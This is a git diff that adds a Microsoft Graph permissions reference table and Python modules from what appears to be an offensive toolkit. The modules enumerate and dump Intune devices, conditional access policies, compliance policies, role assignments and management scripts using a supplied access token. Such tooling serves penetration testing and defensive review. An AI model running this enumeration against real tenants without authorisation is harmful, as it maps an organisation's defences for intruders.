+Allows the app to read, update and delete identities that are associated with a user's account that the signed-in user has access to. This controls the identities users can sign-in with. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+User.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+e1fe6dd8-ba31-4d61-89e7-88639da4683d |
+
+
+| DisplayText |
+- |
+Sign in and read user profile |
+
+
+| Description |
+- |
+Allows users to sign-in to the app, and allows the app to read the profile of signed-in users. It also allows the app to read basic company information of signed-in users. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
The User.Read delegated permission is available for consent in personal Microsoft accounts.
+
+User.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+df021288-bdef-4463-88db-98f22de89214 |
+a154be20-db9c-4678-8ab7-66f6cc099a59 |
+
+
+| DisplayText |
+Read all users' full profiles |
+Read all users' full profiles |
+
+
+| Description |
+Allows the app to read user profiles without a signed in user. |
+Allows the app to read the full set of profile properties, reports, and managers of other users in your organization, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
The User.Read.All delegated permission is available for consent in personal Microsoft accounts.
+
+User.ReadBasic.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+97235f07-e226-4f63-ace3-39588e11d3a1 |
+b340eb25-3456-403f-be2f-af7a0d370277 |
+
+
+| DisplayText |
+Read all users' basic profiles |
+Read all users' basic profiles |
+
+
+| Description |
+Allows the app to read a basic set of profile properties of other users in your organization without a signed-in user. Includes display name, first and last name, email address, open extensions, and photo. |
+Allows the app to read a basic set of profile properties of other users in your organization on behalf of the signed-in user. This includes display name, first and last name, email address and photo. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
The User.ReadBasic.All delegated permission is available for consent in personal Microsoft accounts.
+
+User.ReadWrite
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+b4e74841-8e56-480b-be8b-910348b18b4c |
+
+
+| DisplayText |
+- |
+Read and write access to user profile |
+
+
+| Description |
+- |
+Allows the app to read your profile. It also allows the app to update your profile information on your behalf. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
The User.ReadWrite delegated permission is available for consent in personal Microsoft accounts.
+
+User.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+741f803b-c850-494e-b5df-cde7c675a1ca |
+204e0828-b5ca-4ad8-b9f3-f32a958e7cc4 |
+
+
+| DisplayText |
+Read and write all users' full profiles |
+Read and write all users' full profiles |
+
+
+| Description |
+Allows the app to read and update user profiles without a signed in user. |
+Allows the app to read and write the full set of profile properties, reports, and managers of other users in your organization, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
The User.ReadWrite.All delegated permission is available for consent in personal Microsoft accounts.
+
+User.RevokeSessions.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+77f3a031-c388-4f99-b373-dc68676a979e |
+fc30e98b-8810-4501-81f5-c20a3196387b |
+
+
+| DisplayText |
+Revoke all sign in sessions for a user |
+Revoke all sign in sessions for a user |
+
+
+| Description |
+Allow the app to revoke all sign in sessions for a user, without a signed-in user. |
+Allow the app to revoke all sign in sessions for a user, on behalf of a signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+UserActivity.ReadWrite.CreatedByApp
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+47607519-5fb1-47d9-99c7-da4b48f369b1 |
+
+
+| DisplayText |
+- |
+Read and write app activity to users' activity feed |
+
+
+| Description |
+- |
+Allows the app to read and report the signed-in user's activity in the app. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
The UserActivity.ReadWrite.CreatedByApp delegated permission is available for consent in personal Microsoft accounts.
+
+UserAuthenticationMethod.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+1f6b61c5-2f65-4135-9c9f-31c0f8d32b52 |
+
+
+| DisplayText |
+- |
+Read user authentication methods. |
+
+
+| Description |
+- |
+Allows the app to read the signed-in user's authentication methods, including phone numbers and Authenticator app settings. This does not allow the app to see secret information like the signed-in user's passwords, or to sign-in or otherwise use the signed-in user's authentication methods. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+UserAuthenticationMethod.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+38d9df27-64da-44fd-b7c5-a6fbac20248f |
+aec28ec7-4d02-4e8c-b864-50163aea77eb |
+
+
+| DisplayText |
+Read all users' authentication methods |
+Read all users' authentication methods |
+
+
+| Description |
+Allows the app to read authentication methods of all users in your organization, without a signed-in user. Authentication methods include things like a user's phone numbers and Authenticator app settings. This does not allow the app to see secret information like passwords, or to sign-in or otherwise use the authentication methods. |
+Allows the app to read authentication methods of all users in your organization that the signed-in user has access to. Authentication methods include things like a user's phone numbers and Authenticator app settings. This does not allow the app to see secret information like passwords, or to sign-in or otherwise use the authentication methods. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+UserAuthenticationMethod.ReadWrite
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+48971fc1-70d7-4245-af77-0beb29b53ee2 |
+
+
+| DisplayText |
+- |
+Read and write user authentication methods |
+
+
+| Description |
+- |
+Allows the app to read and write the signed-in user's authentication methods, including phone numbers and Authenticator app settings. This does not allow the app to see secret information like the signed-in user's passwords, or to sign-in or otherwise use the signed-in user's authentication methods. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+UserAuthenticationMethod.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+50483e42-d915-4231-9639-7fdb7fd190e5 |
+b7887744-6746-4312-813d-72daeaee7e2d |
+
+
+| DisplayText |
+Read and write all users' authentication methods |
+Read and write all users' authentication methods. |
+
+
+| Description |
+Allows the application to read and write authentication methods of all users in your organization, without a signed-in user. Authentication methods include things like a user's phone numbers and Authenticator app settings. This does not allow the app to see secret information like passwords, or to sign-in or otherwise use the authentication methods |
+Allows the app to read and write authentication methods of all users in your organization that the signed-in user has access to. Authentication methods include things like a user's phone numbers and Authenticator app settings. This does not allow the app to see secret information like passwords, or to sign-in or otherwise use the authentication methods. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+User-ConvertToInternal.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+9d952b72-f741-4b40-9185-8c53076c2339 |
+550e695c-7511-40f4-ac79-e8fb9c82552d |
+
+
+| DisplayText |
+Convert an external user to internal member user |
+Convert an external user to internal member user |
+
+
+| Description |
+Allow the app to convert an external user to an internal member user, without a signed-in user. |
+Allow the app to convert an external user to an internal member user, on behalf of signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+User-LifeCycleInfo.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+8556a004-db57-4d7a-8b82-97a13428e96f |
+ed8d2a04-0374-41f1-aefe-da8ac87ccc87 |
+
+
+| DisplayText |
+Read all users' lifecycle information |
+Read all users' lifecycle information |
+
+
+| Description |
+Allows the app to read the lifecycle information like employeeLeaveDateTime of users in your organization, without a signed-in user. |
+Allows the app to read the lifecycle information like employeeLeaveDateTime of users in your organization, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+User-LifeCycleInfo.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+925f1248-0f97-47b9-8ec8-538c54e01325 |
+7ee7473e-bd4b-4c9f-987c-bd58481f5fa2 |
+
+
+| DisplayText |
+Read and write all users' lifecycle information |
+Read and write all users' lifecycle information |
+
+
+| Description |
+Allows the app to read and write the lifecycle information like employeeLeaveDateTime of users in your organization, without a signed-in user. |
+Allows the app to read and write the lifecycle information like employeeLeaveDateTime of users in your organization, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+UserNotification.ReadWrite.CreatedByApp
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+4e774092-a092-48d1-90bd-baad67c7eb47 |
+26e2f3e8-b2a1-47fc-9620-89bb5b042024 |
+
+
+| DisplayText |
+Deliver and manage all user's notifications |
+Deliver and manage user's notifications |
+
+
+| Description |
+Allows the app to send, read, update and delete user's notifications, without a signed-in user. |
+Allows the app to send, read, update and delete user's notifications. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+UserShiftPreferences.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+de023814-96df-4f53-9376-1e2891ef5a18 |
+- |
+
+
+| DisplayText |
+Read all user shift preferences |
+- |
+
+
+| Description |
+Allows the app to read all users' shift schedule preferences without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+UserShiftPreferences.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+d1eec298-80f3-49b0-9efb-d90e224798ac |
+- |
+
+
+| DisplayText |
+Read and write all user shift preferences |
+- |
+
+
+| Description |
+Allows the app to manage all users' shift schedule preferences without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+UserTeamwork.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+834bcc1c-762f-41b0-bb91-1cdc323ee4bf |
+
+
+| DisplayText |
+- |
+Read user teamwork settings |
+
+
+| Description |
+- |
+Allows the app to read the teamwork settings of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+UserTeamwork.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+fbcd7ef1-df0d-4e05-bb28-93424a89c6df |
+- |
+
+
+| DisplayText |
+Read all user teamwork settings |
+- |
+
+
+| Description |
+Allows the app to read all user teamwork settings without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+UserTimelineActivity.Write.CreatedByApp
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+367492fc-594d-4972-a9b5-0d58c622c91c |
+
+
+| DisplayText |
+- |
+Write app activity to users' timeline |
+
+
+| Description |
+- |
+Allows the app to report the signed-in user's app activity information to Microsoft Timeline. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+VirtualAppointment.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+27470298-d3b8-4b9c-aad4-6334312a3eac |
+
+
+| DisplayText |
+- |
+Read a user's virtual appointments |
+
+
+| Description |
+- |
+Allows an application to read virtual appointments for the signed-in user. Only an organizer or participant user can read their virtual appointments.  |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+VirtualAppointment.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+d4f67ec2-59b5-4bdc-b4af-d78f6f9c1954 |
+- |
+
+
+| DisplayText |
+Read all virtual appointments for users, as authorized by online meetings application access policy |
+- |
+
+
+| Description |
+Allows the application to read virtual appointments for all users, without a signed-in user. The app must also be authorized to access an individual user's data by the online meetings application access policy. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+VirtualAppointment.ReadWrite
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+2ccc2926-a528-4b17-b8bb-860eed29d64c |
+
+
+| DisplayText |
+- |
+Read and write a user's virtual appointments  |
+
+
+| Description |
+- |
+Allows an application to read and write virtual appointments for the signed-in user. Only an organizer or participant user can read and write their virtual appointments.  |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+VirtualAppointment.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+bf46a256-f47d-448f-ab78-f226fff08d40 |
+- |
+
+
+| DisplayText |
+Read-write all virtual appointments for users, as authorized by online meetings app access policy |
+- |
+
+
+| Description |
+Allows the application to read and write virtual appointments for all users, without a signed-in user. The app must also be authorized to access an individual user's data by the online meetings application access policy. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+VirtualAppointmentNotification.Send
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+97e45b36-1250-48e4-bd70-2df6dab7e94a |
+20d02fff-a0ef-49e7-a46e-019d4a6523b7 |
+
+
+| DisplayText |
+Send notification regarding virtual appointments as any user |
+Send notification regarding virtual appointments for the signed-in user |
+
+
+| Description |
+Allows the application to send notification regarding virtual appointments as any user, without a signed-in user. The app must also be authorized to access an individual user's data by the online meetings application access policy. |
+Allows an application to send notifications for virtual appointments for the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+VirtualEvent.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+6b616635-ae58-433a-a918-8c45e4f304dc |
+
+
+| DisplayText |
+- |
+Read your virtual events |
+
+
+| Description |
+- |
+Allows the app to read virtual events created by you |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+VirtualEvent.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+1dccb351-c4e4-4e09-a8d1-7a9ecbf027cc |
+- |
+
+
+| DisplayText |
+Read all users' virtual events |
+- |
+
+
+| Description |
+Allows the app to read all virtual events without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+VirtualEvent.ReadWrite
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+d38d189c-e29b-4344-8b3b-829bfa81380b |
+
+
+| DisplayText |
+- |
+Read and write your virtual events |
+
+
+| Description |
+- |
+Allows the app to read and write virtual events for you |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+VirtualEventRegistration-Anon.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+23211fc1-f9d1-4e8e-8e9e-08a5d0a109bb |
+- |
+
+
+| DisplayText |
+Read and write anonymous users' virtual event registrations |
+- |
+
+
+| Description |
+Allows the app to read and write anonymous users' virtual event registrations, without a signed-in user |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+WindowsUpdates.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+7dd1be58-6e76-4401-bf8d-31d1e8180d5b |
+11776c0c-6138-4db3-a668-ee621bea2555 |
+
+
+| DisplayText |
+Read and write all Windows update deployment settings |
+Read and write all Windows update deployment settings |
+
+
+| Description |
+Allows the app to read and write all Windows update deployment settings for the organization without a signed-in user. |
+Allows the app to read and write all Windows update deployment settings for the organization on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+WorkforceIntegration.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+f1ccd5a7-6383-466a-8db8-1a656f7d06fa |
+
+
+| DisplayText |
+- |
+Read workforce integrations |
+
+
+| Description |
+- |
+Allows the app to read workforce integrations, to synchronize data from Microsoft Teams Shifts, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+WorkforceIntegration.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+202bf709-e8e6-478e-bcfd-5d63c50b68e3 |
+08c4b377-0d23-4a8b-be2a-23c1c1d88545 |
+
+
+| DisplayText |
+Read and write workforce integrations |
+Read and write workforce integrations |
+
+
+| Description |
+Allows the app to manage workforce integrations to synchronize data from Microsoft Teams Shifts, without a signed-in user. |
+Allows the app to manage workforce integrations, to synchronize data from Microsoft Teams Shifts, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
\ No newline at end of file
diff --git a/Graphpython/commands/intune_enum.py b/Graphpython/commands/intune_enum.py
new file mode 100644
index 0000000..9ed9f02
--- /dev/null
+++ b/Graphpython/commands/intune_enum.py
@@ -0,0 +1,380 @@
+import requests
+import json
+from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token
+from Graphpython.utils.helpers import graph_api_get
+
+################################
+# Post-Auth Intune Enumeration #
+################################
+
+# get-manageddevices
+def get_manageddevices(args):
+ print_yellow("[*] Get-ManagedDevices")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-userdevices
+def get_userdevices(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Get-UserDevices command")
+ return
+
+ print_yellow("[*] Get-UserDevices")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/v1.0/deviceManagement/managedDevices?$filter=userPrincipalName eq '{args.id}'"
+
+ if args.select:
+ api_url += "&$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-caps
+def get_caps(args):
+ print_yellow("[*] Get-CAPs")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com//beta/identity/conditionalAccess/policies"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-devicecategories
+def get_devicecategories(args):
+ print_yellow("[*] Get-DeviceCategories")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceCategories"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-devicecompliancesummary
+def get_devicecompliancesummary(args):
+ print_yellow("[*] Get-DeviceComplianceSummary")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceCompliancePolicyDeviceStateSummary"
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.get(api_url, headers=headers)
+ if response.ok:
+ response_body = response.json()
+ for key, value in response_body.items():
+ if not key.startswith("@odata.context"):
+ pretty_value = json.dumps(value, indent=4)
+ print(f"{key}: {pretty_value}")
+ else:
+ print_red(f"[-] Failed to retrieve settings: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# get-deviceconfigurations
+def get_deviceconfigurations(args):
+ print_yellow("[*] Get-DeviceConfigurations")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceConfigurations"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-deviceconfigurationpolicysettings
+def get_deviceconfigurationpolicysettings(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Get-DeviceConfigurationPolicySettings command")
+ return
+
+ print_yellow("[*] Get-DeviceConfigurationPolicySettings")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings?expand=settingDefinitions"
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': f'Bearer {get_access_token(args.token)}',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.get(api_url, headers=headers)
+
+ if response.ok:
+ response_body = response.json()
+ for key, value in response_body.items():
+ if not key.startswith("@odata.context"):
+ pretty_value = json.dumps(value, indent=4)
+ print(f"{key}: {pretty_value}") # redo this
+ else:
+ print_red(f"[-] Failed to retrieve settings: {response.status_code}")
+ print_red(response.text)
+ print("=" * 80)
+
+# get-deviceenrollmentconfigurations
+def get_deviceenrollmentconfigurations(args):
+ print_yellow("[*] Get-DeviceEnrollmentConfigurations")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceEnrollmentConfigurations"
+ if args.select:
+ api_url += "?$select=" + args.select
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-devicegrouppolicyconfigurations
+def get_devicegrouppolicyconfigurations(args):
+ print_yellow("[*] Get-DeviceGroupPolicyConfigurations")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/beta/deviceManagement/groupPolicyConfigurations"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': 'Bearer ' + get_access_token(args.token),
+ 'Accept': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.get(api_url, headers=headers)
+
+ if response.status_code == 200:
+ group_policies = response.json()
+ else:
+ print_red(f"[-] Error: API request failed with status code {response.status_code}")
+ group_policies = None
+
+ if group_policies and 'value' in group_policies:
+ for policy in group_policies['value']:
+ for key, value in policy.items():
+ print(f"{key} : {value}")
+
+ policy_id = policy.get('id')
+ if policy_id:
+ assignments_api_url = f"https://graph.microsoft.com/beta/deviceManagement/groupPolicyConfigurations/{policy_id}/assignments"
+ assignments_response = requests.get(assignments_api_url, headers=headers)
+
+ if assignments_response.status_code == 200:
+ assignments = assignments_response.json()
+ if not assignments.get('value'):
+ print_red("assignmentTarget: No assignments")
+ else:
+ print_green("assignmentTargets:")
+ for assignment in assignments.get('value', []):
+ if 'target' in assignment:
+ target = assignment['target']
+ odata_type = target.get('@odata.type', '').split('.')[-1]
+ if odata_type == 'exclusionGroupAssignmentTarget':
+ group_id = target.get('groupId', 'N/A')
+ print(f"- Excluded Group ID: {group_id}")
+ elif odata_type == 'allLicensedUsersAssignmentTarget':
+ print("- Assigned to all users")
+ elif odata_type == 'allDevicesAssignmentTarget':
+ print("- Assigned to all devices")
+ elif odata_type == 'groupAssignmentTarget':
+ group_id = target.get('groupId', 'N/A')
+ print(f"- Assigned to Group ID: {group_id}")
+ else:
+ print(f" {odata_type}: {target}")
+ else:
+ print_red("assignmentTarget: No assignments")
+ else:
+ print_red(f"[-] Error: API request for assignments failed with status code {assignments_response.status_code}")
+ print("\n")
+ print("=" * 80)
+
+# get-devicegrouppolicydefinition
+# - remove
+def get_devicegrouppolicydefinition(args):
+ if not args.id:
+ print_red("[-] Error: --id argument is required for Get-DeviceGroupPolicyDefinition command")
+ return
+
+ print_yellow("[*] Get-DeviceGroupPolicyDefinition")
+ print("=" * 80)
+ api_url = f"https://graph.microsoft.com//beta/deviceManagement/groupPolicyConfigurations('{args.id}')/definitionValues?$expand=definition($select=id,classType,displayName,policyType,hasRelatedDefinitions,version,minUserCspVersion,minDeviceCspVersion)"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-roledefinitions
+def get_roledefinitions(args):
+ print_yellow("[*] Get-RoleDefinitions")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/deviceManagement/roleDefinitions"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-roleassignments
+def get_roleassignments(args):
+ print_yellow("[*] Get-RoleAssignments")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/deviceManagement/roleAssignments"
+
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# get-devicecompliancepolicies
+def get_devicecompliancepolicies(args):
+ print_yellow("[*] Get-DeviceCompliancePolicies")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceCompliancePolicies?$expand=scheduledActionsForRule($expand=scheduledActionConfigurations)"
+ if args.select:
+ api_url += "&$select=" + args.select
+
+ try:
+ user_agent = get_user_agent(args)
+ headers = {
+ "Authorization": f"Bearer {get_access_token(args.token)}",
+ "Accept": "application/json",
+ "User-Agent": user_agent
+ }
+
+ response = requests.get(api_url, headers=headers)
+ response.raise_for_status()
+ policies = response.json()
+
+ if policies and 'value' in policies:
+ for policy in policies['value']:
+ for key, value in policy.items():
+ if key not in ['assignments', 'scheduledActionsForRule']:
+ print(f"{key} : {value}")
+
+ # Display assignments for each policy
+ policy_id = policy.get('id')
+ if policy_id:
+ assignments_api_url = f"https://graph.microsoft.com/v1.0/deviceManagement/deviceCompliancePolicies('{policy_id}')/assignments"
+ assignments_response = requests.get(assignments_api_url, headers=headers)
+ assignments_response.raise_for_status()
+ assignments = assignments_response.json()
+
+ if not assignments.get('value'):
+ print_red("assignments: None")
+ else:
+ print_green("assignments:")
+ for assignment in assignments.get('value', []):
+ if 'target' in assignment:
+ target = assignment['target']
+ odata_type = target.get('@odata.type', '').split('.')[-1]
+ if odata_type == 'exclusionGroupAssignmentTarget':
+ group_id = target.get('groupId', 'N/A')
+ print(f"- Excluded Group ID: {group_id}")
+ elif odata_type == 'allLicensedUsersAssignmentTarget':
+ print("- Assigned to all users")
+ elif odata_type == 'allDevicesAssignmentTarget':
+ print("- Assigned to all devices")
+ elif odata_type == 'groupAssignmentTarget':
+ group_id = target.get('groupId', 'N/A')
+ print(f"- Assigned to Group ID: {group_id}")
+ else:
+ print(f"- {odata_type}: {target}")
+
+ # Display scheduled actions for rule
+ scheduled_actions = policy.get('scheduledActionsForRule', [])
+ if not scheduled_actions:
+ print_red("scheduledActionsForRule: None")
+ else:
+ print_green("scheduledActionsForRule:")
+ for action in scheduled_actions:
+ #print(f"- Config ID: {action.get('id')}")
+ for config in action.get('scheduledActionConfigurations', []):
+ print(f" - Action Type: {config.get('actionType')}")
+ print(f" - Grace Period Hours: {config.get('gracePeriodHours')}")
+ print(f" - Notification Template Type: {config.get('notificationTemplateType')}")
+
+ print("\n")
+ else:
+ print_red("[-] No data found")
+ except requests.exceptions.RequestException as ex:
+ print_red(f"[-] HTTP Error: {ex}")
+ print("=" * 80)
+
+# get-deviceconfigurationpolicies
+def get_deviceconfigurationpolicies(args):
+ print_yellow("[*] Get-DeviceConfigurationPolicies")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/beta/deviceManagement/configurationPolicies"
+ if args.select:
+ api_url += "?$select=" + args.select
+
+ user_agent = get_user_agent(args)
+ headers = {
+ 'Authorization': 'Bearer ' + get_access_token(args.token),
+ 'Accept': 'application/json',
+ 'User-Agent': user_agent
+ }
+
+ response = requests.get(api_url, headers=headers)
+
+ if response.status_code == 200:
+ policies = response.json()
+ else:
+ print_red(f"[-] Error: API request failed with status code {response.status_code}")
+ policies = None
+ print("=" * 80)
+
+ if policies and 'value' in policies:
+ for policy in policies['value']:
+ for key, value in policy.items():
+ print(f"{key} : {value}")
+
+ if 'templateReference' in policy and 'templateDisplayName' in policy['templateReference']:
+ print(f"template: {policy['templateReference']['templateDisplayName']}")
+
+ # display assignments for each policy
+ policy_id = policy.get('id')
+ if policy_id:
+ assignments_api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{policy_id}')/assignments"
+ assignments_response = requests.get(assignments_api_url, headers=headers)
+
+ if assignments_response.status_code == 200:
+ assignments = assignments_response.json()
+ if not assignments.get('value'):
+ print_red("assignments: None")
+ else:
+ print_green("assignments:")
+ for assignment in assignments.get('value', []):
+ if 'target' in assignment:
+ target = assignment['target']
+ odata_type = target.get('@odata.type', '').split('.')[-1]
+ if odata_type == 'exclusionGroupAssignmentTarget':
+ group_id = target.get('groupId', 'N/A')
+ print(f"- Excluded Group ID: {group_id}")
+ elif odata_type == 'allLicensedUsersAssignmentTarget':
+ print("- Assigned to all users")
+ elif odata_type == 'allDevicesAssignmentTarget':
+ print("- Assigned to all devices")
+ elif odata_type == 'groupAssignmentTarget':
+ group_id = target.get('groupId', 'N/A')
+ print(f"- Assigned to Group ID: {group_id}")
+ else:
+ print(f"- {odata_type}: {target}")
+ else:
+ print_red(f"[-] Error: API request for assignments failed with status code {assignments_response.status_code}")
+ print("\n")
+ print("=" * 80)
\ No newline at end of file
diff --git a/Graphpython/commands/intune_exploit.py b/Graphpython/commands/intune_exploit.py
new file mode 100644
index 0000000..401d810
--- /dev/null
+++ b/Graphpython/commands/intune_exploit.py
@@ -0,0 +1,2023 @@
+import requests
+import json
+import sys
+import base64
+from tabulate import tabulate
+from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token
+from Graphpython.utils.helpers import read_file_content, graph_api_get
+
+#################################
+# Post-Auth Intune Exploitation #
+#################################
+
+# dump-devicemanagementscripts
+def dump_devicemanagementscripts(args):
+ print_yellow("[*] Dump-DeviceManagementScripts")
+ print("=" * 80)
+ api_url = "https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts"
+ if args.select:
+ api_url += "?$select=" + args.select
+ graph_api_get(get_access_token(args.token), api_url, args)
+ print("=" * 80)
+
+# dump-windowsapps
+def dump_windowsapps(args):
+ print_yellow("[*] Dump-WindowsApps")
+ print("=" * 80)
